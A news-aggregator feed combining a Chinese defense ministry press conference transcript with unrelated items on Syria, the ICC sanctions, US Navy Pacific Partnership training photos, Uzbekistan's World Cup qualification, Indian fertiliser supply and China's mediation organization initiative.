    Journalist: I have two questions. The first one is that the US Carrier Strike Group led by USS Nimitz re-entered the South China Sea through the Singapore Strait on May 26 after its visit to Malaysia. What’s your comment on this?

    The second question is that reports suggest that the Indian side recovered an undetonated PL-15E air-air missile during the India-Pakistan conflict. Can you confirm this? Will this give the Indian side assess to relevant military technology?

    Zhang Xiaogang: On your first question, activities to flex its muscle and stir up troubles in the South China Sea will find no support. The Chinese side will firmly safeguard our territorial sovereignty and maritime rights and interests, and maintain peace and stability in the South China Sea.

    On your second question, the type of missile you mentioned is for export and has also been exhibited in international and domestic defense expos multiple times.

    Journalist: I have two questions. The first is the Commander of the US Army Pacific recently claimed that China’s increasingly aggressive behavior in the Indo-Pacific had made the situation more dangerous. He said that no one would have imagined that Beijing would conduct drills simulating a blockade of Taiwan five years ago, but now such moves were commonplace. In addition, head of the US Indo-Pacific Command said that the Chinese side was conducting comprehensive exercises in preparation for recovering Taiwan and was increasingly active in other regions of the Pacific. May I have your comments on this?

    The second question is that according to Taiwan media reports, the DPP authorities have stepped up its procurement of the Patriot missiles, drawn personnel from its Marine Corps to form combat units for the “Greater Taipei Area”, and launched several drills on responses to the so-called “PLA attacks on Taiwan”. Public opinion in Taiwan believes that these actions are preparing for Lai Ching-te’s desertion in the face of war. Do you have any comment?

    Zhang Xiaogang: For your first question, Taiwan is part of China. Resolving the Taiwan question is a matter for the Chinese, which brooks no external interference. For the cross-Strait situation, there is no factor more destabilizing than the provocations made by the “Taiwan independence” separatists and the disruptions by foreign forces. It’s legitimate, necessary, lawful and justified for the Chinese side to take actions to safeguard national sovereignty and territorial integrity. We urge the US side to stop fanning the flames on the Taiwan question. Such behaviors would only backfire.

    For your second question. Don’t be fooled by Lai Ching-te’s reckless provocations now. When the day comes, people like him will be the first to run away. For the PLA, defeating military elements of the “Taiwan independence” separatist forces is like shooting fish in a barrel. Those notorious separatists have no chance to escape.

    Senior Colonel Zhang Xiaogang, spokesperson for the Ministry of National Defense (MND) of the People’s Republic of China (PRC), answers questions at a regular press conference on the afternoon of May 29, 2025. (mod.gov.cn)

    Journalist: I have two questions. Firstly, you just announced that the PLA NDU sent a delegation to attend this year’s SLD. Why didn’t the Chinese side send higher level military officials to attend the dialogue? The US Department of Defense has already announced its attendance at the dialogue, and said that the US was a more credible regional partner than China. What’s your comment on that? My second question is that this year marks the 80th year of the World Anti-Fascist War. Many European countries have held celebrations commemorating this victory. September 3rd marks the 80th anniversary of the victory of the Chinese People’s War of Resistance against Japanese Aggression. Many people are expecting the Chinese side to hold a military parade to commemorate this anniversary. What’s your comment on that?

    Zhang Xiaogang: On your first question, China consistently engages in constructive dialogues to articulate our vision and initiatives. We are committed to enhancing mutual trust and deepening cooperation through these exchanges, contributing Chinese wisdom to the building of a community with a shared future for mankind. The PLA NDU delegation attending this year’s SLD will have in-depth exchanges with participating parties to build more consensus.

    As for the second question, I have no information to release here.

    Journalist: What is the Chinese Ministry of National Defense’s assessment on the equipment supplied by the Chinese military to Pakistan in the recent conflict between India and Pakistan? An Indian official said that China provided satellite and air defense systems for Pakistan, but these systems performed below average. What’s your comment on that?

    Zhang Xiaogang: Pakistan and India are neighbors who cannot move away from each other. We call on the both sides to keep calm, exercise restraint and avoid complicating the situation. China will continue to play a constructive role in maintaining regional peace and stability.

    Journalist: It’s reported that US Defense Secretary recently said that the US side would build up its military to meet China’s “threat” at every turn, and counter China in the Indo-Pacific. In addition, Commander of the US Army Pacific said that the US army was building agile new units in response to potential conflicts with China. What’s your comment on

    Zhang Xiaogang: Conflict and confrontation should not be the choice of either side. Mutual respect, peaceful coexistence and win-win cooperation is the right way for China and the US to deal with each other. The US side should stop conjuring up a powerful enemy for itself whether intentionally or unintentionally. Such imagination is not rational and extremely dangerous. The Chinese military will make all-out efforts to enhance our combat readiness, and firmly safeguard national sovereignty, security and development interests.

    Journalist: Some US and Israeli media outlets call on the US to stop its military assistance to Egypt, because of Egypt’s close cooperation with China. What’s your comment on this?

    Zhang Xiaogang: China-Egypt cooperation is not aimed at any third party, nor will it be interfered by any third party. The Chinese and Egyptian militaries will continue to deepen friendship, mutual trust and practical cooperation.

    Journalist: As China’s first aircraft carrier with catapult system, PLANS Fujian is undergoing a series of intensive sea trials. What kind of signal does that send out?

    Senior Colonel Zhang Xiaogang, spokesperson for the Ministry of National Defense (MND) of the People’s Republic of China (PRC), answers questions at a regular press conference on the afternoon of May 29, 2025. (mod.gov.cn)

    Zhang Xiaogang: The sea trial is a necessary part for the construction of aircraft carriers. PLANS Fujian will conduct relevant tests as planned.

    Journalist: According to a satellite image revealed last week, H-6 bombers and a KJ-500 airborne early warning aircraft were seen on Yongxing Dao of Xisha Qundao. What is the purpose of this deployment? Some experts suggest that it is to send signals to the Philippines and Vietnam. What’s your comment on that?

    Zhang Xiaogang: I am not aware of the information you mentioned. I want to emphasize that the Xisha Qundao is an inherent part of the Chinese territory. We oppose the hype about relevant military activities.

    Journalist: An African Young Officers Delegation visited China recently. Some commentary regarded the trip as one that combines culture, technology and friendship. Could you please provide more details on this?

    Zhang Xiaogang: The African Young Officers Delegation concluded its 10-day visit to China on May 15. During the visit, nearly a hundred military officers from over 40 African countries, including Egypt, Mozambique, Tanzania and Kenya, came to cities such as Beijing, Changsha and Shaoshan. They visited military units, academies and high-tech enterprises, attended themed lectures and seminars, toured the Museum of the Communist Party of China and the former residence of Comrade Mao Zedong, and had in-depth exchanges with their Chinese counterparts. Members of the delegation expressed how impressive and inspiring this visit was. This is the 4th African Young Officers Delegation invited to China by the Chinese Ministry of National Defense. This visit deepened the traditional friendship between the Chinese and African militaries, and advanced the building of an All-weather China-Africa Community with a Shared Future for the New Era.

    Journalist: I have two questions. The first one is that the US Indo-Pacific Commander reportedly said that China was outpacing the US in the production of warships and other equipment. He said that the rates of changes on the depth and breadth of PLA’s exercises was what kept him up at night. May I have your comments on this?

    The second question is that it’s reported that China’s third large hospital ship PLANS Ark Auspicious has been commissioned, marking the deployment of large ocean-going hospital ship to the Eastern Theater Command, South Theater Command and North Theater Command respectively. What’s your comment on this?

    Zhang Xiaogang: On your first question, China does not engage in arms race with any other country. We develop our military to defend China’s national sovereignty, security and development interests and to bring stability and positive energy to global peace and security.

    On your second question, PLANS Ark Auspicious is the third 10,000-ton-class ocean-going hospital ship domestically designed and built by China. It features a combat-oriented layout and is equipped with advanced medical equipment. PLANS Ark Auspicious, together with Ark Peace and Ark Silk Road, not only forms the backbone of medical support on the sea, but also executes tasks of international humanitarian medical services, emergency medical rescue in major disasters, and foreign exchanges and cooperation on military medicine. PLAN hospital ships will help the Chinese military materialize the vision of building a maritime community with a shared future and offer the world more public security goods of higher quality.

    Journalist: Does the Chinese delegation plan to meet with any other delegations on the sidelines of the Shangri-La Dialogue? Is there any planned meeting with the US delegation?

    Zhang Xiaogang: Regarding this, we will release information in due course. The Chinese side values our defense relations with the US military and is open to communications at different levels. We hope the US side will earnestly respect China’s core interests and major concerns, work with us in the same direction, and promote the steady and sound development of military-to-military relations.

    Journalist: Minister of National Defense Admiral Dong Jun recently visited France and Germany, and attended the 6th UN Peacekeeping Ministerial. Please provide further details about this.

    Zhang Xiaogang:Minister of National Defense Admiral Dong Jun led a delegation to visit France and Germany and attend the 6th UN Peacekeeping Ministerial in Berlin from May 11 to 17. Minister Dong held talks with French Minister of the Armed Forces Sébastien Lecornu and German Federal Minister of Defence Boris Pistorius respectively. The leaders had an in-depth exchange of view on international and regional issues of mutual interests, and reached consensus on strengthening substantive engagements and cooperation between the Chinese and French and the Chinese and German militaries. Minister Dong also met with UN Secretary-General António Guterres and Under Secretary-General Jean-Pierre Lacroix on the sidelines of the 6th UN Peacekeeping Ministerial. In his speech delivered at the conference, Minister Dong emphasized that the Chinese side will work with different parties to act on the Global Security Initiative, uphold the core position of the UN, redouble efforts on the United Nations Peacekeeping Operations (UNPKOs), support the training of professional peacekeepers, optimize the composition and capabilities of Chinese Peacekeeping Standby Force, advance continuous innovation of UNPKOs, and contribute more to UNPKOs.

    Journalist: Lately, official new media accounts of PLA theater commands and services and arms have been opened on the ‘China Bugle” app. What’s your comment on that?

    Zhang Xiaogang: China Bugle is the mobile flagship platform of information release launched by the PLA News Media Center. As of now, the PLA Army, Navy, Air Force, Rocket Force, and the PAP, as well as the PLA Eastern, Southern, Western, Northern and Central Theater Commands have opened their official new media accounts on this app. This demonstrates the deep integration of different forms of military media, and provides an important channel for the public to learn about defense and military development in an all-round manner. Going forward, more military units and media outlets will join the “China Bugle” app to form an integrated new media platform for military news.

    Journalist: The draft of the Japanese defense ministry’s Defense White Paper 2025 was revealed. The draft claims that China is ramping up its nuclear, missile, maritime and aviation capabilities; that PLA’s activities near Taiwan demonstrate that Beijing is trying to improve its combat capabilities; and strengthened China-Russia military cooperation is a concern for Japan. What’s your comment on this?

    Zhang Xiaogang: In the draft of its Defense White Paper, the Japanese side repeats its irresponsible comments about China’s military development, and points fingers at China’s legitimate military activities and external military cooperation. We are strongly opposed to this. This year marks the 80th year of the victory of the Chinese People’s War of Resistance Against Japanese Aggression and the World Anti-Fascist War. At this special historical juncture, it’s even more important for Japan to reflect on its behaviors, instead of making unfounded smears and accusations against others. We urge the Japanese side to follow the path of peaceful development, act prudently in the domain of military and security, and earn the trust of its Asian neighbors and the rest of the international community with concrete actions.

    Journalist: Head of Taiwan’s defense authorities Koo Li-hsiung reportedly said in an interview that US forces and alliances across Asia was crucial for holding Beijing in check. He also expressed hope for the US to expedite arms sales to Taiwan to help Taiwan address military threats from China.What’s your comments on this?

    Zhang Xiaogang: The Taiwan question is purely an internal affair of China, which brooks no interference. We will strive for the prospect of peaceful reunification with utmost sincerity and greatest effort. However, should the “Taiwan independence” separatists make provocations, challenge our bottom lines, or even cross the red lines, we will have to take decisive measures. The US side supports “Taiwan independence” separatists through arms sales. Such acts are self-defeating and will push Taiwan into the abyss of war.

    Journalist: Recently, the Chinese and Cambodian militaries successfully held the Golden Dragon 2025 joint exercise. Please provide more details.

    Zhang Xiaogang: The Chinese and Cambodian armed forces conducted the Golden Dragon 2025 joint exercise in Kampong Chhnang Province and the airspace and waters off the Sihanoukville Port from May 14 to 28. As the 7th iteration of the Golden Dragon series, this year’s exercise has three highlights. First, it focused on counter-terrorism and humanitarian assistance operations, conducting drills on relevant subjects. Second, the China-Cambodia Joint Support and Training Center at Port Ream provided support for drills on the sea for the first time. Air force helicopters took part in the exercise for the first time. Land, naval, air and joint logistic support components from both sides conducted drills together. Third, the exercise consisted of two parts: naval & air operations and ground & air operations. Participating troops were organized into mixed groups to learn from each other during tactical training and comprehensive drills, which helped to enhance command coordination and emergency response capabilities of the two sides. During the joint exercise, the PLA contingent also donated school supplies and provided free medical services to the local community. China and Cambodia are iron-clad friends with rock-solid relations. The Chinese and Cambodian militaries will work in concert to act on the important consensus between leaders of the two countries, and make greater contributions to building a China-Cambodia All-weather Community with a Shared Future for the New Era, and to preserving regional security and stability.

    Journalist: The Philippine Coast Guard said that the Coast Guard and Armed Forces of the Philippines and the US Coast Guard conducted a joint patrol in waters off Palawan, which reaffirmed the Philippines’ commitment to maritime security and the “rule-based international order”. What’s your comment on this?

    Senior Colonel Zhang Xiaogang, spokesperson for the Ministry of National Defense (MND) of the People’s Republic of China (PRC), answers questions at a regular press conference on the afternoon of May 29, 2025. (mod.gov.cn)

    Zhang Xiaogang: At present, the situation in the South China Sea remains generally stable. The freedom of navigation and overflight entitled to all countries under international law has never been an issue. Some countries provoke confrontation in the name of cooperation, flex muscles under the guise of freedom, and create chaos with the pretext of order. They have become the biggest source of risks that undermines peace and stability in the South China Sea. We urge relevant countries to stop ganging up and stirring up troubles in the South China Sea, and stop harming regional peace and stability.

    Journalist: I have two questions. The first question is about the PLA aircraft carrier Liaoning and its task fleet. They are currently off the southeast coast of Taiwan. The Taiwan authority said that they have taken joint intelligence means to monitor relevant operations throughout the whole process. Some people suggest that the PLA will probably conduct military exercises before or after the Dragon Boat Festival. Can you confirm whether the PLA has relevant plans? My second question. According to media reports, the CIA is about to release its annual report, suggesting that the Chinese mainland poses the greatest threat to the world and increasing menace against Taiwan. It also said that the rapid modernization of the PLA would prevent the US from entering the Pacific. What’s your comment on this?

    Zhang Xiaogang: On your first question. Relevant military activities organized by the PLA recently are routine arrangements according to our annual training plan.

    On your second question, as we all know, China is unwavering in our commitment to peace, development and international order. The biggest threat to the current cross-Strait situation comes from separatist activities for “Taiwan independence” and support from foreign forces. If relevant countries truly care about stability in the Taiwan Strait, they should abide by the one-China principle and unequivocally oppose “Taiwan independence”.

    If there are no other questions, this concludes today’s press conference. Thank you.

    MIL OSI China News –

    June 6, 2025

  • MIL-OSI Russia: China urges Syrian authorities to prevent chemical weapons from falling into terrorist hands

    Translation. Region: Russian Federal

    Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

    Source: People’s Republic of China – State Council News

    UNITED NATIONS, June 6 (Xinhua) — China’s Deputy Permanent Representative to the United Nations Geng Shuang called on the interim Syrian authorities to prevent dangerous substances and chemical weapons from falling into the hands of terrorists at the Security Council on Thursday.

    Currently, there is instability in the security sphere in Syria, the danger of terrorism is high. There is a growing risk that terrorist organizations and extremist forces will take advantage of the current chaos to gain strength and regain lost positions, the diplomat warned.

    “The international community must remain highly vigilant against the potential scenario in which terrorist forces in Syria could produce, acquire or use chemical weapons,” he said.

    China is concerned about reports that foreign terrorist fighters based in Syria have recently been recruited into the Syrian army and calls on the Syrian interim authorities to fulfill their obligations in combating terrorism, Geng Shuang said.

    The interim authorities of Syria must take all necessary measures to combat all organizations and individuals included in the list of terrorists by the UN Security Council, including the East Turkestan Islamic Movement, and prevent dangerous substances and chemical weapons from falling into the hands of terrorists, the deputy permanent representative said.

    The political transition in Syria is at a critical stage. China sincerely hopes that peace and stability will return to Syria at an early date, Geng Shuang said.

    To this end, China calls on all relevant parties in Syria to fully interact and consult with each other, achieve maximum consensus, and move forward with a broad and inclusive political transition in an orderly manner, he said.

    At the same time, the diplomat added, it is important to ease the humanitarian situation and begin economic recovery with the help of the international community. China supports the important role of the UN in this process, Geng Shuang summed up. –0–

    MIL OSI Russia News –

    June 6, 2025

  • MIL-OSI United Kingdom: PM meeting with King Abdullah II of Jordan: 5 June 2025

    Source: United Kingdom – Executive Government & Departments

    Press release

    PM meeting with King Abdullah II of Jordan: 5 June 2025

    The Prime Minister hosted His Majesty the King of Jordan Abdullah II at Downing Street this afternoon.

    The Prime Minister hosted His Majesty the King of Jordan Abdullah II at Downing Street this afternoon.

    The leaders discussed the gravity of the intolerable situation in Gaza, and the concerning developments in the West Bank.

    The Prime Minister reiterated that if Israel did not cease the renewed military offensive and lift its restrictions on humanitarian aid, the UK and its partners would take further concrete actions in response.

    It was vital a sustainable ceasefire and the release of all hostages was secured, and humanitarian aid was delivered at speed and volume, the Prime Minister added.

    Both leaders agreed on the importance of the Palestinian Authority’s reform agenda as part of the path to a two-state solution and lasting peace and security for both Israelis and Palestinians.

    The leaders also discussed the wider bilateral relationship between the UK and Jordan, and the opportunity to deepen business and investment links between the two countries.

    Both looked forward to speaking again soon.

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    Published 6 June 2025

    MIL OSI United Kingdom –

    June 6, 2025

  • Trump administration imposes sanctions on four ICC judges in unprecedented move

    Source: Government of India

    Source: Government of India (4)

    President Donald Trump’s administration on Thursday imposed sanctions on four judges at the International Criminal Court, an unprecedented retaliation over the war tribunal’s issuance of an arrest warrant for Israeli Prime Minister Benjamin Netanyahu and a past decision to open a case into alleged war crimes by U.S. troops in Afghanistan.

    Washington designated Solomy Balungi Bossa of Uganda, Luz del Carmen Ibanez Carranza of Peru, Reine Adelaide Sophie Alapini Gansou of Benin and Beti Hohler of Slovenia, according to a statement from U.S. Secretary of State Marco Rubio.

    “As ICC judges, these four individuals have actively engaged in the ICC’s illegitimate and baseless actions targeting America or our close ally, Israel. The ICC is politicized and falsely claims unfettered discretion to investigate, charge, and prosecute nationals of the United States and our allies,” Rubio said.

    The ICC slammed the move, saying it was an attempt to undermine the independence of an international judicial institution that provides hope and justice to millions of victims of “unimaginable atrocities.”

    Both judges Bossa and Ibanez Carranza have been on the ICC bench since 2018. In 2020 they were involved in an appeals chamber decision that allowed the ICC prosecutor to open a formal investigation into alleged war crimes by American troops in Afghanistan.

    Since 2021, the court had deprioritized the investigation into American troops in Afghanistan and focused on alleged crimes committed by the Afghan government and the Taliban forces.

    ICC judges also issued arrest warrants for Netanyahu, former Israeli defense chief Yoav Gallant and Hamas leader Ibrahim Al-Masri last November for alleged war crimes and crimes against humanity during the Gaza conflict. Alapini Gansou and Hohler ruled to authorize the arrest warrant against Netanyahu and Gallant, Rubio said.

    The move deepens the administration’s animosity toward the court. During the first Trump administration in 2020, Washington imposed sanctions on then-prosecutor Fatou Bensouda and one of her top aides over the court’s work on Afghanistan.

    The measures also follow a January vote at the U.S. House of Representatives to punish the ICC in protest over its Netanyahu arrest warrant. The move underscored strong support among Trump’s fellow Republicans for Israel’s government.

    DIFFICULT TIME FOR ICC

    The measures triggered uproar among human-rights advocates. Liz Evenson, international justice director at Human Rights Watch, said the punitive measures were a “flagrant attack on the rule of law at the same time as President Trump is working to undercut it at home.”

    Sanctions severely hamper individuals’ abilities to carry out even routine financial transactions as any banks with ties to the United States, or that conduct transactions in dollars, are expected to have to comply with the restrictions.

    But the Treasury Department also issued general licenses, including one allowing the wind-down of any existing transactions involving those targeted on Thursday until July 8, as long as any payment to them is made to a blocked, interest-bearing account located in the U.S.

    The new sanctions come at a difficult time for the ICC, which is already reeling from earlier U.S. sanctions against its chief prosecutor, Karim Khan, who last month stepped aside temporarily amid a United Nations investigation into his alleged sexual misconduct.

    The ICC, which was established in 2002, has international jurisdiction to prosecute genocide, crimes against humanity and war crimes in member states or if a situation is referred by the U.N. Security Council. The United States, China, Russia and Israel are not members.

    It has high-profile war crimes investigations under way into the Israel-Hamas conflict and Russia’s war in Ukraine as well as in Sudan, Myanmar, the Philippines, Venezuela and Afghanistan.

    The ICC has issued arrest warrants for President Vladimir Putin on suspicion of deporting children from Ukraine, and for Netanyahu for alleged war crimes in Gaza. Neither country is a member of the court and both deny the accusations and reject ICC jurisdiction.

    (Reuters)

    June 6, 2025

  • MIL-OSI Security: Pacific Partnership 2025 Kicks off with urban rescue training in Virac, Philippines, June 2, 2025 [Image 3 of 9]

    Source: United States Navy (Logistics Group Western Pacific)

    Issued by: on

    VIRAC, Philippines (June 2, 2025) – U.S. Navy Cmdr. Robert Reyes, gives opening remarks to Armed Forces of the Philippines personnel, local emergency responders, and civilian authorities before an Incident Command Systems training in Virac, Philippines, June 2, 2025. This effort is part of a two-week urban rescue training exercise supporting the humanitarian assistance and disaster response objectives of Pacific Partnership 2025. Now in its 21st iteration, Pacific Partnership series is the largest annual multinational humanitarian assistance and disaster management preparedness mission conducted in the Indo-Pacific. Pacific Partnership works collaboratively with host and partner nations to enhance regional interoperability and disaster response capabilities, increase security and stability in the region, and foster new and enduring friendships in the Indo-Pacific. (U.S. Navy photo by Mass Communication Specialist 2nd Class Jordan Jennings)

    Date Taken: 06.02.2025
    Date Posted: 06.03.2025 20:23
    Photo ID: 9081877
    VIRIN: 250602-N-YV347-1086
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    MIL Security OSI –

    June 6, 2025

  • MIL-OSI Security: Pacific Partnership 2025 Conducts Mission Stop in Philippines, June 2025

    Source: United States Navy (Logistics Group Western Pacific)

    Issued by: on

    VIRAC, Philippines (June 4, 2025) – Hawaii National Guardsmen and personnel from the Armed Forces of the Philippines instruct local emergency responders and civilian authorities on how to perform a controlled descent in Virac, Philippines, June 4, 2025. This effort is part of a two-week urban rescue training exercise supporting the humanitarian assistance and disaster response objectives of Pacific Partnership 2025. Now in its 21st iteration, Pacific Partnership series is the largest annual multinational humanitarian assistance and disaster management preparedness mission conducted in the Indo-Pacific. Pacific Partnership works collaboratively with host and partner nations to enhance regional interoperability and disaster response capabilities, increase security and stability in the region, and foster new and enduring friendships in the Indo-Pacific. (U.S. Navy photo by Mass Communication Specialist 2nd Class Jordan Jennings)

    Date Taken: 06.04.2025
    Date Posted: 06.06.2025 02:23
    Photo ID: 9088372
    VIRIN: 250604-N-YV347-2048
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    June 6, 2025

  • Uzbekistan savour sweet taste of success after sealing World Cup spot

    Source: Government of India

    Source: Government of India (4)

    Uzbekistan coach Timur Kapadze lauded the efforts of his players after the Central Asian country qualified for the World Cup for the first time.

    The White Wolves claimed their spot at the expanded 48-team 2026 finals on Thursday with a 0-0 draw in the United Arab Emirates, which guaranteed Kapadze’s side a top-two finish in Group A, alongside already-qualified Iran.

    Uzbekistan have tried and failed to qualify seven times since their independence after the break-up of the Soviet Union in 1991, suffering heartbreak in the final stage of continental qualifiers for Germany 2006 and Brazil 2014.

    A genuine force in Asia since their 1994 Asian Games triumph, the Uzbekistan FA has invested heavily in youth development in the attempt to take the final step onto the world stage.

    Kapadze has reaped the dividends with a young generation of players, including Manchester City’s 21-year-old centre back Abdukodir Khusanov at his disposal.

    “We have achieved an important result after a long and difficult journey. A lot of work was done for this result, I sincerely congratulate our people,” Kapadze told Uzbekistan’s online publication Zamin.

    “This is not only our victory, but the victory of our entire people. Our players showed determination in every match, worked with all their might, and we achieved the result … “

    Kapadze, who played 119 times for Uzbekistan and led the under-23 team at last year’s Olympic Games, was appointed coach after Srecko Katanec left because of illness in January.

    “Before the game, (everyone) expressed their confidence in our team’s victory and expected a good result from us,” he said.

    “This confidence also became a great responsibility and pressure for us. But we managed to overcome this pressure and complete the task.”

    Kapadze was mobbed by his players in his post-match press conference and received a congratulatory telephone call from Uzbekistan President Shavkat Mirziyoyev.

    “In a fierce competition against the strongest teams in Asia, you demonstrated true character, unbreakable will, and professionalism,” Mirziyoyev said.

    -Reuters

    June 6, 2025

  • MIL-OSI Security: The Hawaii National Guard conducts Urban Rescue training during Pacific Partnership 2025 in Virac, Philippines [Image 1 of 2]

    Source: United States Navy (Logistics Group Western Pacific)

    Issued by: on

    Virac, Philippines (June 3, 2025) – Hawaii National Guard 1st Sgt. Rodolfo Acosta, center, instructs local emergency responders and civilian authorities on the proper use of rappelling gear during a training session in Virac, Philippines, June 3, 2025. This effort is part of a two-week urban rescue training exercise supporting the humanitarian assistance and disaster response objectives of Pacific Partnership 2025. Now in its 21st iteration, Pacific Partnership series is the largest annual multinational humanitarian assistance and disaster management preparedness mission conducted in the Indo-Pacific. Pacific Partnership works collaboratively with host and partner nations to enhance regional interoperability and disaster response capabilities, increase security and stability in the region, and foster new and enduring friendships in the Indo-Pacific. (U.S. Navy photo by Mass Communication Specialist 2nd Class Jordan Jennings)

    Date Taken: 06.03.2025
    Date Posted: 06.06.2025 02:19
    Photo ID: 9088355
    VIRIN: 250603-N-YV347-1136
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  • JP Nadda chairs high-level meeting to review availability, distribution of fertilisers in Kharif season

    Source: Government of India

    Source: Government of India (4)

    Union Minister for Chemicals and Fertilizers, JP Nadda, chaired a high-level meeting on Thursday to review the availability and distribution of fertilizers during the ongoing Kharif season. The meeting, held with officials from the Department of Fertilizers, focused on ensuring timely supply and promoting sustainable agricultural practices.

    During the meeting, Nadda highlighted the vital role of agriculture in ensuring national food security and stressed the importance of making essential nutrients available to support crop productivity. He was briefed on the current status of fertilizer supply and preparations for Kharif 2025. Officials informed that domestic fertilizer production is being maintained at an optimum level, with diammonium phosphate (DAP) production reaching 3.84 lakh metric tonnes—the highest in recent months.

    To bridge the gap between demand and domestic supply, Indian fertilizer companies have secured agreements with key exporters, including Saudi Arabia, Morocco, and Russia. These tie-ups aim to ensure consistent imports throughout the year. Nadda instructed officials to ensure fertilizers are promptly distributed across all states to meet farmers’ requirements. He also emphasised the need for close coordination with state governments, fertilizer companies, Indian Railways, and port authorities to streamline the supply chain.

    Expressing concern over the increasing reliance on chemical fertilizers, especially urea, the minister called for a renewed focus on sustainable agriculture. He directed officials to intensify the implementation of PM-PRANAM (PM Programme for Restoration, Awareness Generation, Nourishment, and Amelioration of Mother-Earth). The initiative promotes balanced fertilizer use, adoption of alternatives, and encourages organic and natural farming. States demonstrating a reduction in chemical fertilizer use will be eligible for incentives under the scheme.

    Nadda also underlined the need for strict action to curb the illegal diversion, hoarding, and black marketing of fertilizers. He called for coordinated efforts with state governments to prevent such practices and ensure fertilizers reach the intended beneficiaries.

    The meeting was attended by Rajat Kumar Mishra, Secretary, Department of Fertilizers, along with senior officials including Anita Meshram and Aparna S. Sharma, Additional Secretaries, and Abhay Sharma, Director (Movement).

    June 6, 2025

  • MIL-OSI Security: Pacific Partnership 2025 Conducts Mission Stop in Philippines, June 2025 [Image 2 of 9]

    Source: United States Navy (Logistics Group Western Pacific)

    Issued by: on

    VIRAC, Philippines (June 1, 2025) – Hawaii National Guardsmen and personnel from the Armed Forces of the Philippines construct a platform used to conduct urban rescue training with local emergency responders and civilian authorities in Virac, Philippines, June 1, 2025. This effort is part of a two-week urban rescue training exercise supporting the humanitarian assistance and disaster response objectives of Pacific Partnership 2025. Now in its 21st iteration, Pacific Partnership series is the largest annual multinational humanitarian assistance and disaster management preparedness mission conducted in the Indo-Pacific. Pacific Partnership works collaboratively with host and partner nations to enhance regional interoperability and disaster response capabilities, increase security and stability in the region, and foster new and enduring friendships in the Indo-Pacific. (U.S. Navy photo by Mass Communication Specialist 2nd Class Jordan Jennings)

    Date Taken: 06.01.2025
    Date Posted: 06.03.2025 20:23
    Photo ID: 9081876
    VIRIN: 250601-N-YV347-1021
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    MIL Security OSI –

    June 6, 2025

  • MIL-OSI Russia: /Voice of the South/ Expert’s view｜The establishment of the International Mediation Organization is particularly relevant in the context of the current unstable situation

    Translation. Region: Russian Federal

    Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

    Source: People’s Republic of China – State Council News

    Author: Serik Korzhumbayev

    On May 30, a historic event took place in Hong Kong that could revolutionize the approach to international dispute resolution. Representatives of 32 countries signed the Convention Establishing the International Mediation Organization (IOM). Delegations from more than 85 countries and nearly 20 international organizations, including the UN, also attended the ceremony. The IOM became the world’s first intergovernmental body created exclusively for the peaceful resolution of international conflicts through mediation. China was the main initiator of this initiative, demonstrating new strategic thinking focused on dialogue, mutual respect, and joint search for solutions. In this analytical material, we examine the significance of the new body, China’s role in its development, and the IOM’s potential to promote peace and global cooperation.

    The ceremony in Hong Kong’s Wanzai Business District was not just a diplomatic act, but a symbol of the beginning of a new era in international relations. In his speech, Wang Yi, member of the Politburo of the CPC Central Committee and head of the PRC Foreign Ministry, emphasized that the IOM reflects the spirit of the UN Charter, in particular Article 33, which mentions mediation as one of the preferred instruments for the peaceful resolution of disputes. For a long time, the international community lacked a specialized legal framework focused on dialogue. The IOM fills this gap by offering a universal platform for states, investors and commercial organizations.

    The establishment of the IOM is particularly relevant in the context of the current unstable situation: growing geopolitical contradictions, trade wars, regional conflicts. In 2025, the world celebrates the 80th anniversary of the creation of the UN and the victory in World War II – it is symbolic that right now a mechanism is emerging that can replace confrontation with dialogue.

    China’s initiative is not accidental. In recent years, Beijing has confidently positioned itself as a supporter of peace and diplomacy, acting as a mediator in resolving crises in Africa, the Middle East and Asia. The proposal to establish the IOM was put forward by China three years ago and became a logical continuation of the idea of a “community with a shared future for mankind” put forward by Chinese President Xi Jinping. This idea has now received institutional embodiment – with its center in Hong Kong.

    China’s role in the creation of the IOM is not only a diplomatic success, but also a testament to its growing influence as a responsible global power. Unlike Western approaches, which often rely on coercion or rigid legal procedures, the Chinese model of mediation is based on principles of harmony, Confucian ethics, and consensus-seeking.

    Chinese Foreign Minister Wang Yi noted that mediation is a “natural continuation” of China’s historical tradition of resolving disputes through mutual respect. The effectiveness of this approach has been proven in practice. In 2023, China brokered a historic rapprochement between Saudi Arabia and Iran, which was a breakthrough for the Middle East. Beijing has also played an active role in peace processes in Sudan, Myanmar and other countries, avoiding interference and relying on trust.

    The choice of Hong Kong as the IOM headquarters has symbolic and strategic significance. As Wang Yi emphasized, Hong Kong’s return to China in 1997 is an example of a successful diplomatic settlement. The city, with its Anglo-Chinese legal system, business infrastructure, and status as an arbitration center in Asia, is ideal for such a structure. According to the International Arbitration Review of Queen Mary, University of London, in 2025 Hong Kong tied with Singapore as the preferred jurisdiction for dispute resolution.

    The IOM also reflects China’s broader ambition to reform the global governance system. In a context of growing great power competition, China offers an inclusive, equitable order. The support of 32 founding members, including Indonesia, Pakistan, Serbia, and Cambodia, underscores the credibility of the Chinese initiative, especially among countries in the Global South.

    IOM’s mission is to create a universal platform for resolving interstate, investment and commercial disputes through dialogue and voluntary participation. Unlike courts, where one often wins at the expense of the other, mediation involves a win-win solution, strengthening trust and stability in the long term.

    IOM is based on the principles of equality, fairness and respect for sovereignty. The organization takes into account the specifics of different legal systems and offers a flexible approach that reduces the costs and time spent on dispute resolution. This makes mediation attractive not only for states, but also for businesses.

    The creation of the IOM also offers an alternative to existing Western institutions, such as the International Court of Justice or the Permanent Court of Arbitration. While these bodies remain important, their procedures often exacerbate conflicts. China’s concept of a “culture of harmony” offers a different path – cooperation instead of confrontation, which is especially relevant in a context of global interdependence.

    Despite the bright start, IOM has a difficult path ahead. One of the main challenges will be to ensure trust from a wide range of countries, including Western powers. Some analysts are already expressing doubts about IOM’s ability to remain a neutral structure amid global turbulence. However, professional mechanisms are being created for this purpose – training of mediators, uniform protocols, procedures for implementing decisions.

    Ratification of the Convention by member states and expansion of membership, including major powers, will be of great significance. China has already promised to establish a team of high-level international mediators, which will give the organization credibility.

    IOM can be a key instrument for de-escalation in hot spots from the South China Sea to the Middle East. In Central Asia, where integration and sustainable development are important, mediation can be used to resolve disputes over trade, investment, water, and energy. Kazakhstan, as a strategic partner of China, can also benefit from such an approach.

    In closing, Wang Yi recalled the ancient Chinese parable of the “six-foot alley”: two neighbors each gave each other three feet to walk down a narrow street. The story is a metaphor for the IOM philosophy: the path to cooperation is through compromise. In a world where conflicts are becoming chronic, this idea sounds like a call to reason.

